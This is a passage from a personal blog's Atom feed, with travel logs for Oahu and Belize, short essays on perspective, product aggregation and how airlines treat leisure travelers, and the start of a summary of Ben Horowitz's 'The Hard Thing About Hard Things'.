And therefore, you have to enter before he reaches there.
I, along with a few locals, started at 2:30 AM. The entrance goes through private property and a cut fence.
It is tough to find it out without the help of the locals. And don&rsquo;t try it unless you are an experienced hiker.
Once you cross all that hurdles, you will be rewarded with a strenuous hike on metal stairs, which, of course,
will hurt your shins every time you slip on them.
There isn&rsquo;t much to see during the journey, but views are beautiful from the top.
It takes about 4 hours to reach the top.</p>
<figure>
    
    <a href="IMG_20131201_070705-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20131201_070705-768x1024.jpg"
         alt="A scenic landscape view showing steep, lush, green hills with a narrow, winding trail leading to the summit" width="900"/> </a>
</figure>

<p>I continued my journey to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60982-d261241-Reviews-Hanauma_Bay_Nature_Preserve-Honolulu_Oahu_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hanauma Bay</a>, which got destroyed by heavy rains.
I did   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60982-d2664518-Reviews-Makapuu_Lighthouse_Trail-Honolulu_Oahu_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Makapuu Lighthouse trail</a> while it was drizzling, it wasn&rsquo;t a great hike.
I would recommend   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60982-d255187-Reviews-Maunawili_Trail-Honolulu_Oahu_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Maunawii Trail</a>, which I had to skip since rains slowed me down heavily.</p>
<h2 id="day-5">Day 5</h2>
<p>I started the day with a straight hike up the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60982-d1913806-Reviews-Koko_Crater_Trail-Honolulu_Oahu_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Koko crater trail</a>.
Amazing views from the top.
Carry lunch there and have it while you are watching natural slopes on one side and urban Honolulu on the other.</p>
<figure>
    
    <a href="IMG_20131202_113617-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20131202_113617-768x1024.jpg"
         alt="A scenic view shows lush green natural slopes contrasted with the urban landscape of Honolulu, creating a balance between nature and city life." width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20131202_121241-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20131202_121241-1024x768.jpg"
         alt="A scenic view of a small island, known as Chinaman&#39;s Hat, with lush greenery and surrounded by ocean waters, set against a clear sky." width="900"/> </a>
</figure>

<p>I headed to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g29222-d496697-Reviews-Chinaman_s_Hat-Oahu_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Chinaman&rsquo;s hat</a> from there.
It was a bit late, and being solo, I decided to skip swimming to it.
It was already evening, and I was close to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60656-d1083842-Reviews-Polynesian_Cultural_Center-Laie_Oahu_Hawaii.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Polynesian Cultural Center</a>,
so I decided to watch a two-hour musical show of &ldquo;Ha&rdquo; there. It&rsquo;s a bit expensive.
I made a mistake of reaching almost on time for the show, arrive at least an hour in advance to check out the center there.
I found the show to be OK but not great.</p>
<h2 id="day-6">Day 6</h2>
<p>I started the day with   
    
    
<a href="https://sharktourshawaii.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Shark Cage diving</a>,
but the amount of time and money one ends up spending on it is a total rip-off.
I found the tour in 
<a href="/travel/belize/">Belize</a> to be much more worthwhile.
I continued my anti-clockwise tour of the island with Shark Cove, followed by   
    
    
<a href="https://www.doleplantation.com/worlds-largest-maze/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">World&rsquo;s largest maze</a>.</p>
<figure>
    
    <a href="IMG_20131203_113435-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20131203_113435-1024x768.jpg"
         alt="A lush green maze with winding paths, surrounded by tropical vegetation under a clear sky, is featured as part of a world&#39;s largest maze attraction." width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/hawaii" term="hawaii" label="hawaii"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">The optimal distance</title><link href="https://ashishb.net/misc/the-optimal-distance/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/5-things-airlines-get-wrong-about-leisure-travelers/?utm_source=atom_feed" rel="related" type="text/html" title="5 things airlines get wrong about leisure travelers"/><link href="https://ashishb.net/misc/learning-casual-swimming/?utm_source=atom_feed" rel="related" type="text/html" title="Learning casual swimming"/><link href="https://ashishb.net/misc/speedup-vs-slow-down/?utm_source=atom_feed" rel="related" type="text/html" title="Speedup vs Slow-down"/><link href="https://ashishb.net/misc/front-of-the-queue-effect/?utm_source=atom_feed" rel="related" type="text/html" title="Front of the queue effect"/><link href="https://ashishb.net/misc/cruelty-to-animals/?utm_source=atom_feed" rel="related" type="text/html" title="Cruelty to animals"/><id>https://ashishb.net/misc/the-optimal-distance/</id><author><name>Ashish Bhatia</name></author><published>2016-12-09T10:29:08+00:00</published><updated>2016-12-09T10:29:08+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the sweet spot between clarity and perspective. Too far loses detail, too close overwhelms. Find your perfect balance for an enriched experience.</blockquote><p>You cannot read a book kept too far or too close to your eyes.
You cannot comfortably watch a movie from the first row of the multiplex, and you can&rsquo;t watch it from the other end
of a football field either.
When you are too far, details are lost.
And when details are lost, everything looks similar and boring.
When you are too close, the perspective is lost.
And when perspective is lost, one gets overwhelmed by the details.</p>
<blockquote>
<p>When you are too far, details are lost. When you are too close, perspective is lost.</p></blockquote>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/></entry><entry><title type="html">When aggregation works and when it doesn't</title><link href="https://ashishb.net/tech/when-aggregation-works-and-when-it-doesnt/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/the-android-chrome-merger-saga/?utm_source=atom_feed" rel="related" type="text/html" title="The Android-Chrome merger saga"/><link href="https://ashishb.net/tech/startup-valuations/?utm_source=atom_feed" rel="related" type="text/html" title="Startup valuations"/><link href="https://ashishb.net/tech/voice-interfaces-the-missing-ux/?utm_source=atom_feed" rel="related" type="text/html" title="Voice Interfaces: The Missing User Interaction Element"/><link href="https://ashishb.net/tech/google-io-2016-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2016: Android notes"/><link href="https://ashishb.net/tech/standardization/?utm_source=atom_feed" rel="related" type="text/html" title="Standardization"/><id>https://ashishb.net/tech/when-aggregation-works-and-when-it-doesnt/</id><author><name>Ashish Bhatia</name></author><published>2016-12-04T23:50:24+00:00</published><updated>2016-12-04T23:50:24+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the dynamics of consumer internet products and why aggregation strategies succeed in certain scenarios like travel sites, but struggle in others.</blockquote><p>All consumer internet products are either about consumption, production or both.
A blog site is primarily about consumption.
A photo transforming app is primarily about production.
Social networks are consumption heavy.
Good Messaging apps are symmetric.
And a grievance collection product like   
    
    
<a href="https://www.bbb.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">BBB</a> is production heavy.</p>
<p>Building aggregation on top of similar products is a well-known strategy.
The hard realization to note is that it can succeed only in very specific scenarios.
Look at all the successful aggregation products, travel booking sites, news aggregators, RSS readers, discount coupon aggregators.
As opposed to that, attempts to write an email aggregator, a social media aggregator etc. have not been as successful.
And that&rsquo;s the underlying theme, aggregator works well for consumption only interfaces where the product is sourced
from many sources (more the better) and  is standardized in the eyes of the consumer.
They have limited success almost everywhere else.
And this just doesn&rsquo;t apply to software products. Microsoft   
    
    
<a href="https://www.salon.com/1999/06/29/microsoft_store/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tried</a> and   
    
    
<a href="https://www.cnet.com/news/xbox-due-microsoft-exits-sony-owned-mall/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">failed</a> to have their own hardware
stores since their offerings were similar and a subset of BestBuy whereas Apple succeeded in the same strategy
despite the   
    
    
<a href="https://www.macworld.com/article/1017461/retail.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">naysayers</a>.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">5 things airlines get wrong about leisure travelers</title><link href="https://ashishb.net/misc/5-things-airlines-get-wrong-about-leisure-travelers/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/choosing-a-travel-backpack/?utm_source=atom_feed" rel="related" type="text/html" title="Choosing a Travel Backpack"/><link href="https://ashishb.net/travel/air-india/?utm_source=atom_feed" rel="related" type="text/html" title="A surprisingly positive experience with Air India"/><link href="https://ashishb.net/short-stories/unhospitable-airports/?utm_source=atom_feed" rel="related" type="text/html" title="Unhospitable Airports"/><link href="https://ashishb.net/travel/hotels-vs-airbnb-vs-hostels/?utm_source=atom_feed" rel="related" type="text/html" title="Hotels vs Airbnb vs Hostels"/><link href="https://ashishb.net/short-stories/souvenir-clothing/?utm_source=atom_feed" rel="related" type="text/html" title="Souvenir Clothing"/><id>https://ashishb.net/misc/5-things-airlines-get-wrong-about-leisure-travelers/</id><author><name>Ashish Bhatia</name></author><published>2016-11-06T21:00:34+00:00</published><updated>2016-11-06T21:00:34+00:00</updated><content type="html"><![CDATA[<blockquote>Airlines can suceed much more if they understand leisure travelers</blockquote><ol>
<li>
<p>They don&rsquo;t fly on dates
2PM and 8PM on Friday are the same dates but the former flight requires taking a leave from office, latter does not. 11PM on Friday and 1AM on the following Saturday are different dates for the airlines, but it&rsquo;s same for passengers. Discovery of the latter is especially poor on most booking websites.</p>
</li>
<li>
<p>Destinations matter more than the airport
The concept of the nearby airport based on the distance is archaic. For example, San Jose (SJC) and San Francisco (SFO) are almost identical for most leisure travelers since most individuals flying into either are going into SF Bay Area. A bit further one from SFO is SCK (Stockton) which sucks for the lack of ease of connectivity back into the SF Bay Area. A leisure traveler flying into Kona in Hawaii might gladly take a flight out of Hilo which is on the other side of the island. While I am giving the example of airports I am more familiar with, I think the idea applies to most metros with multiple airports. Airlines treat such a ticket as   
    
    
<a href="https://en.wikipedia.org/wiki/Open-jaw_ticket?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">open-jaw</a> and usually charge a higher price.</p>
<blockquote>
<p>The concept of the nearby airport based on the distance is archaic. Most individuals flying into SFO are going into SF Bay Area. So, SJC (San Jose) will work but SCK (Stockton) will suck.</p></blockquote>
<p>On one occasion, the flight to SFO was overbooked and the next one was 3 hours later. The airline company was looking for someone to volunteer for the later flight. I asked if I can get the flight to SJC departing in 30 minutes, the boarding agent bluntly told me that I would have to pay 200$ for the destination change. Which of course, I had no interest in. That flight to SFO actually went with three seats vacant since the family of four preferred to fly together on the flight 3 hours later.</p>
</li>
<li>
<p>Long layovers might not be that bad
1-hour layover is good. 4 hours is not. But 8 hours or more might be a chance to explore another city. Airlines usually only inform you about the next flight which usually is 3-4 hours later. But if the person is at an intermediate destination, they might be willing to check that one out for a long enough break. Of course, airlines might never know unless they ask the passengers.</p>
</li>
<li>
<p>Reschedule in advance and not at the airport
I have already returned my rental car, gone through pat downs, my bag has been investigated for the 
<a href="/short-stories/bloody-banana-bread/">product</a>, and an announcer has been repeatedly shouting &ldquo;Looking for passenger Sukhdev Singh Chatwal&rdquo; in a funny American accent. In these conditions, you are asking me to if I would take the later flight for a 200$ voucher. Never mind that the voucher comes with &ldquo;conditions apply&rdquo; and has an expiry. No, I am not going to volunteer my ticket.
It is not that an hour before departure the airlines learned that the flight is overbooked, they probably knew about that many hours or probably days in advance. Then why not contact me in the morning when I was swimming in 
<a href="/travel/puerto-rico/">Culebra</a>? In fact, the most likely reason for booking this earlier flight was because it was way less expensive than the more desirable flight which you are offering me now. Being at the airport, it is too late for me to make any use of that time.</p>
<blockquote>
<p>I have already returned my rental car, gone through pat downs, my bag has been investigated for the product, and an announcer has been repeatedly shouting &ldquo;Looking for passenger Sukhdev Singh Chatwal&rdquo; in a funny American accent. In these conditions, you are asking me to if I would take a later flight for a 200$ voucher. No, thanks.</p></blockquote>
</li>
<li>
<p>Consider rescheduling earlier (  
    
    
<a href="https://www.urbandictionary.com/define.php?term=prepone&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">prepone</a>)
Leisure travelers trade-off minor inconvenience for money. If the flight at 1AM is less expensive than one at 11PM then many are going to choose the first. Even if that comes with a tight layover. If on that day, the earlier one is going vacant then why not inform passengers of the 1AM flight in advance? Many might gladly take the offer of flying earlier.</p>
</li>
</ol>
<p>For the big three airlines (United, Delta, and American), the primary source of revenue is customers traveling for business. These customers usually cannot reschedule earlier, they are not looking for the long layovers, and airport codes matter a lot to them since their rental car booking is most likely tied to that. But that&rsquo;s exactly why leisure travelers should matter, they are flexible and are willing to adjust for a win-win situation.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/><category scheme="https://ashishb.net/tag/airlines" term="airlines" label="airlines"/><category scheme="https://ashishb.net/tag/travel" term="travel" label="travel"/></entry><entry><title type="html">Belize in 4 days</title><link href="https://ashishb.net/travel/belize/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/costa-rica/?utm_source=atom_feed" rel="related" type="text/html" title="Costa Rica in 4 days"/><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="related" type="text/html" title="Nicaragua in 5 days"/><link href="https://ashishb.net/travel/panama/?utm_source=atom_feed" rel="related" type="text/html" title="Mini Trip to Panama"/><link href="https://ashishb.net/travel/guatemala/?utm_source=atom_feed" rel="related" type="text/html" title="Guatemala in 8 days"/><link href="https://ashishb.net/travel/oahu-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Oahu, Hawaii"/><id>https://ashishb.net/travel/belize/</id><author><name>Ashish Bhatia</name></author><published>2016-11-01T07:46:06+00:00</published><updated>2016-11-01T07:46:06+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Belize&rsquo;s wonders from historic Mayan ruins and enchanting caves to vibrant marine life in Caye Caulker. Adventure and history await in this tropical paradise!</blockquote><p>The country is roughly divided into inland and cayes.
Inland has historic Mayan sites. Cayes (pronounced &ldquo;keys&rdquo;) have water sports.</p>
<h3 id="day-1---san-ignacio">Day 1 - San Ignacio</h3>
<p>After landing at the Belize airport, I took a USD 25 taxi to Belize city since there is no public transport to Belize City. From there, I took a 2.5-hour bus costing USD 4.5, heading west to San Ignacio.
There I check out the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g291971-d311822-Reviews-Cahal_Pech_Mayan_Ruins_Museum-San_Ignacio_Cayo.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cahal Pech ruins</a>.
Established in 1200 BC, this is the oldest Mayan site in Belize.
The entry fee is USD 5. Do me a favor and get a guide for another $10 -15 USD.
Guide&rsquo;s explanation adds real value in terms of understanding how the site was used.
I spent the rest of the day checking San Ignacio city. Nothing much exciting in it.</p>
<figure>
    
    <a href="IMG_1018-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1018-1024x768.jpg"
         alt="Ancient stone ruins at Altun Ha, surrounded by green grass and partially cloudy skies. Visitors can explore the historic archaeological site." width="900"/> </a>
</figure>

<p>  
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g291967-d300171-Reviews-Altun_Ha_Ruins-Belize_District.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Altun Ha</a> (near Belize City) and   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g291969-d300170-Reviews-Xunantunich-Cayo.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Xunantunich</a> (30 minutes further west of San Ignacio) are newer but more famous Mayan sites. If you have time, it would be good to check them out as well.</p>
<h3 id="day-2---atm-caves">Day 2 - ATM caves</h3>
<p>I started the day with the world-famous ATM (Actun Tunichil Muknal) caves.
Belize used to be submerged in water millions of years ago.
That&rsquo;s why 65% of rocks are still limestone rocks. Many caves were created by following water dissolving these rocks.
Mayans believed that the caves are an entry to the underworld.
And that the rain god came from there. The tour takes you into the ATM cave, partially submerged in the flowing water,
where Mayans used to make sacrifices of animals and later humans, to please the Rain God during droughts.
Skeletons of the sacrificed men and a few young kids are still present in the cave.
The tour is mildly strenuous, requires occasional swimming, and no photography is allowed inside.
I took the tour with   
    
    
<a href="https://www.mayawalk.com/belize-atm-cave-tour?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MayaWalk</a>, and it was a fantastic experience worth recommendation.
They start early in the morning to avoid the crowd and have one guide per 6-7 visitors.
If you have dietary restrictions, let them know in advance for lunch. At 85$ USD,
the tour is expensive, but given the equipment (headlamps, water shoes), the two-hour transportation from San Ignacio
to the caves, and the lunch, I think it is justified for this unique experience.</p>
<p>After the tour, I headed for the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g291971-d1592346-Reviews-Green_Iguana_Conservation_Project-San_Ignacio_Cayo.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Green Iguana conservation project</a>.
It&rsquo;s a 45 minute USD 9 tour focused on Green Iguanas.
The guide, though extremely knowledgeable, is an introvert.
So, keep asking him, and he will tell you everything about Iguanas.
I would highly recommend this tour if you have any interest in wildlife, biology, and like holding Iguanas.</p>
<figure>
    
    <a href="IMG_1046-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1046-768x1024.jpg"
         alt="An iguana" width="900"/> </a>
</figure>

<p>Since my next day was in Caye (remember it is pronounced &ldquo;key&rdquo;) caulker. I took a bus back to Belize City. The last water taxi to Caye caulker was at 5:30, and I knew I wouldn&rsquo;t reach in time for that. I stayed in Belize city for the night.</p>
<h3 id="day-3---caye-caulker">Day 3 - Caye caulker</h3>
<p>I took a 45-minute water taxi (USD 25 round trip price) to Caye Caulker.</p>
<figure>
    
    <a href="IMG_1082-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1082-1024x768.jpg"
         alt="A boat navigates clear blue waters, heading towards Caye Caulker, with palm trees and a distant shoreline visible" width="900"/> </a>
</figure>

<p>My main activity for this day was a snorkeling 
<a href="/travel/first-time-cruisers/">cruise</a>.
We went to three different places -   
    
    
<a href="https://www.atlasobscura.com/places/shark-ray-alley?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Shark and Ray Alley</a>, Hol Chan Marine Reserve, and Coral Gardens.
In Shark and Ray Alley, the guide throws sardines to attract sharks and manta rays.
These sharks are habituated to humans and don&rsquo;t attack.
The water is calm here, which is helpful for an amateur snorkeler.
I did this tour with   
    
    
<a href="https://raggamuffintours.com/hol-chan-snorkel/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Ragamuffin Tours</a>.
Their guide was extremely proactive in terms of snorkeling along with us,
showing various fishes, turtles, corals, manta rays, lobsters, and sharks.
The tour ended up with a small party on the north side across the split.
All in all, it was about a 10-hour-long tour.
At USD 70, this is a fantastic value for money.
If you are booking this tour, do check that the guide will go along with you on all three occasions (the law mandates it only for the Marine reserve)
and is enthusiastic enough to spot the sea life.</p>
<figure>
    
    <a href="IMG_1093-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1093-768x1024.jpg"
         alt="A picturesque tropical beach scene with palm trees, clear blue water, and a sandy shoreline, depicting a serene, idyllic coastal environment." width="900"/> </a>
</figure>

<p>I spent the late evening checking the Caye. There isn&rsquo;t anything special at it. I stayed here overnight since the last water taxi to the mainland is at 5 PM.</p>
<figure>
    
    <a href="IMG_1115-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1115-1024x768.jpg"
         alt="Crabs on the street of Caye Caulker" width="900"/> </a>
</figure>

<h3 id="day-4---blue-hole-national-park">Day 4 - Blue Hole national park</h3>
<p>I took the water taxi back to Belize City and then took a bus to Dangriga.
All the buses going south from Belize city will first go west to Belmopan.
The bus dropped me at the entrance of the Blue Hole National Park.</p>
<p>I was too late for the cave tubing tour I booked. But the tour company (   
    
    
<a href="https://belizeinlandtours.com/belize-cave-tubing/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Belize Inland</a>) rebooked me for the afternoon tour. I did a 30-minute one-way hike to the inland blue hole and swam there.</p>
<figure>
    
    <a href="IMG_1119-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1119-1024x768.jpg"
         alt="A serene cave setting with a blue water hole, surrounded by rocky formations and lush greenery, inviting exploration and relaxation." width="900"/> </a>
</figure>

<p>Then I returned for the cave tubing tour.
It is an excellent relaxing tour focused on geography and life inside the cave.
Going through the pitch-black darkness is an eye-opening (pun intended) experience.
The guide provided a lot of information about the geography and flora and fauna inside the cave.</p>
<figure>
    
    <a href="IMG_1126-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1126-1024x768.jpg"
         alt="A scenic view of a large, rocky cave interior with stalactites hanging from the ceiling, illuminated by sunlight entering from an unseen source." width="900"/> </a>
</figure>

<p>After the tour, I decided to stop in Belmopan. I checked out the local market. There is nothing special here. So, you won&rsquo;t miss anything if you choose not to stop.</p>
<figure>
    
    <a href="IMG_1136-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1136-768x1024.jpg"
         alt="A local market stall with assorted fruits and vegetables displaying handwritten signs." width="900"/> </a>
</figure>

<p>Notes:</p>
<ol>
<li>1 USD = 2 BZE. USD is readily accepted everywhere.</li>
<li>Cities are a waste of time. Caye Caulker was OK but not others. The cities are filled with local people passing comments on the tourists. Catcalling is the norm.</li>
<li>
<a href="/travel/public-transport-guide/">Public transport</a> is reliable but limited. The first water taxi from Belize City to Caye Caulker is at 8 AM. The last one to return is at 5 PM. If you are doing any tour, you can&rsquo;t do it in a single day.</li>
<li>Cut mango sold for USD 1 is delicious.</li>
<li>All food except fruits felt expensive and over-priced.</li>
<li>Cars are expensive to rent, and mopeds are hard to come by.</li>
<li>Belize has a thriving Indian population (Gujarati and Sindhi), as well as the Chinese population. One of the wealthiest person in Belize is an Indian.</li>
<li>There are many contrary reports on whether 
<a href="/travel/traveling-on-indian-passport/">Indian citizens</a> need a visa for Belize or not. I confirmed with the Belize embassy that holders of a multi-entry US visa do not need a visa for Belize. My experience was the same. The US visa was sufficient.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/belize" term="belize" label="belize"/><category scheme="https://ashishb.net/tag/central-america" term="central-america" label="central-america"/></entry><entry><title type="html">Book Summary: Hard Things about Hard Things by Ben Horowitz</title><link href="https://ashishb.net/book-summary/hard-things-about-hard-things/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-lean-startup/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Lean Startup by Eric Ries"/><link href="https://ashishb.net/book-summary/great-by-choice/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Great By Choice by Jim Collins"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/woke-inc/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Woke, Inc. by Vivek Ramaswamy"/><id>https://ashishb.net/book-summary/hard-things-about-hard-things/</id><author><name>Ashish Bhatia</name></author><published>2016-10-07T06:32:47+00:00</published><updated>2016-10-07T06:32:47+00:00</updated><content type="html"><![CDATA[<blockquote>Explore essential startup leadership lessons from Ben Horowitz&rsquo;s journey with Opsware. Discover insights on scaling, leadership, and resilience.</blockquote><p>The   
    
    
<a href="https://amzn.to/2dPb1QN?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is Ben Horowitz&rsquo;s memoir with a particular focus on his company Opsware and the lessons he learned there.</p>
<h3 id="from-communist-to-venture-capitalist">From Communist to Venture Capitalist</h3>
<p>Ben&rsquo;s father was a communist, and he grew in the People&rsquo;s republic of Berkeley. His first job was at NetLabs, which was run by professional management with little appreciation for the product or the technology. This job taught him the importance of founders CEOs. The job took a toll on his personal life, and to stabilize that, he left and joined Lotus. As soon as he came across Mosaic, he was mesmerized by the Internet and applied for Netscape. Marc Andreessen interviewed him, and is now his business partner at A16Z.</p>
<blockquote>
<p>Leadership is the ability to get someone to follow you even if out of curiosity.</p></blockquote>
<h3 id="i-will-survive">I will survive</h3>
<p>Ben started LoudCloud, which was doing well before the dot-com bust. Its primary customers were all startups, and the customer bankruptcies decimated the revenue growth. The private funding was hard to come by, and Ben decided to take LoudCloud public. The Saas model of recognizing revenues only when they are earned (whereas the software revenue is recognized as soon as it is sold) and similar issues made the S-1 filing look bad. It got termed as   
    
    
<a href="https://www.theverge.com/2014/3/5/5474214/andreessen-horowitz-ben-horowitz-on-ipos-from-hell-the-power-of-profanity?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">IPO from hell</a>. The reverse split to keep the stock price high enough further destroyed the fantasies of the employees. The IPO roadshow on the east coast was severely impacted by his wife&rsquo;s west coast allergic reaction leading to the emergency room. The IPO happened at $6 per share. No one, not even the underwriting bankers were happy. The macroeconomic condition worsened, and the revenue guidance could not have met in the further quarters. So, the finance department suggested that let&rsquo;s reset it completely, rather than doing that in steps.</p>
<blockquote>
<p>If you are going to eat shit, don&rsquo;t nibble.</p></blockquote>
<p>The underwriters, Goldman Sachs and Morgan Stanley, dropped analyst coverage in response; the stock fell to $2. Then 9/11 happened. Then 26/11 Exodus, Loudcloud&rsquo;s largest competitor, a $50 billion market cap company with $800 million raised filed bankruptcy. Ben realized that the operations are too fragile; he thought of acquiring Data Return and realized that neither&rsquo;s future is bright. So, he decided to exit the cloud business completely and extract out the software business, which was built for cloud automation (Opsware). The stock slowly rose to $4, and Ben decided to raise $50 million from private investors. That&rsquo;s when Atriax, the largest customer who owned $25 million, filed for bankruptcy. The plan to raise money was put on hold, and the acquisition was sought out. EDS and IBM were played against each other on an artificial deadline of eight weeks. EDS wanted to Loudcloud more than IBM. It eventually made the acquisition, excluding Opsware, for $63.5 million. It even licensed Opsware for $20 million a year. 140 employees got laid off, another 150 went to EDS, and 80 were left with Opsware. On Bill Campbell&rsquo;s recommendation, Ben stayed with the employees on the west coast when the announcement happened in New York. In Bill&rsquo;s words, &ldquo;If you don&rsquo;t treat the people who are leaving fairly, then those who stay back would never trust you again.&rdquo;</p>
<blockquote>
<p>If you don&rsquo;t treat the people who are leaving fairly then those who stay back would never trust you again</p></blockquote>
<h3 id="this-time-with-feeling">This time with feeling</h3>
<p>The stock price has fallen to $0.35, and NASDAQ warned that the stock would be delisted. Some members of the executive team who did not understand software accounting &amp; sales had to let go of. The stock price rose to $7. But then EDS, which accounted for 90% of the revenue, wanted to cancel the contract since the deployment has not gone as smoothly as expected. EDS gave Opsware 60 days to fix all the issues. The head of the EDS servers&rsquo; team loved Tangram and hated CA products. EDS was going to get the latter for free in a deal. Opsware did the diligence of Tangram, found it to be bad, but even then acquired it for $10 million, which was a 67% premium to its market value at that time. Opsware offered Tangram for free in that 60-day window. The problem seems to have been solved. But then BladeLogic started to beat Opsware. The stock price was back to $2.90. The company went for another war-mode for the next six months. When things were going well, it was decided to go beyond server automation and look into network automation.</p>
<blockquote>
<p>All decisions are objective until the first line of the code is written. And then they are emotional.</p></blockquote>
<p>Ben could have built something internally or acquire another company. All decisions are objective until the first line of the code is written. And then they are emotional. Ben, therefore, decided to see if there is a possibility to acquire before starting an internal effort. Among the four automation companies, the cheapest one (Rendition networks) had the best architecture. Ben believed that the market was wrong. Opsware acquired Rendition networks for $33 million, three months later, Cisco paid $30 million to license its technology. Slowly the acquisition offers started to tick in. Virtualization was also taking over. The share price was about $7. Ben talked to the team, and almost everyone wanted to exit. He decided that the price would be $14. HP acquired it for $14.25 per share ($1.65 billion in cash).</p>
<h3 id="when-things-fall-apart">When things fall apart</h3>
<h4 id="no-plan-b">No Plan B</h4>
<p>Startup CEOs should not play the odds. Statistics are against them, and they don&rsquo;t change the difficulty of the task at hand. A good startup CEO can focus and make the best move when there are no right moves.</p>
<blockquote>
<p>A good startup CEO has the ability to focus and make the best move when there are no good moves.</p></blockquote>
